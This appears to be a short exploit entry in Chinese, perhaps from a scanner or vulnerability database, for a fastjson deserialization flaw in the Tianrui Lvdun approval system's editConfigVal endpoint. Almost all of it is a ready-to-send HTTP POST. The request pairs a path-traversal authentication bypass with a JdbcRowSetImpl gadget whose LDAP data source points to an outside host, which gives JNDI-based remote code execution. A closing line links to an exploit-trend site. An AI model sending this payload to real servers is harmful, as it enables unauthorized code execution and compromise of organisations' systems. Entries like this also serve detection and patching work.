Description
天锐绿盾审批系统 editConfigVal fastjson 反序列化漏洞
天锐绿盾审批系统 editConfigVal fastjson 反序列化漏洞
POST /trwfe/login.jsp/.%2e/rest/conf/editConfigVal HTTP/1.1
Host:
Content-Type: application/json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://gobygo.net/A4",
"autoCommit": true
}
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.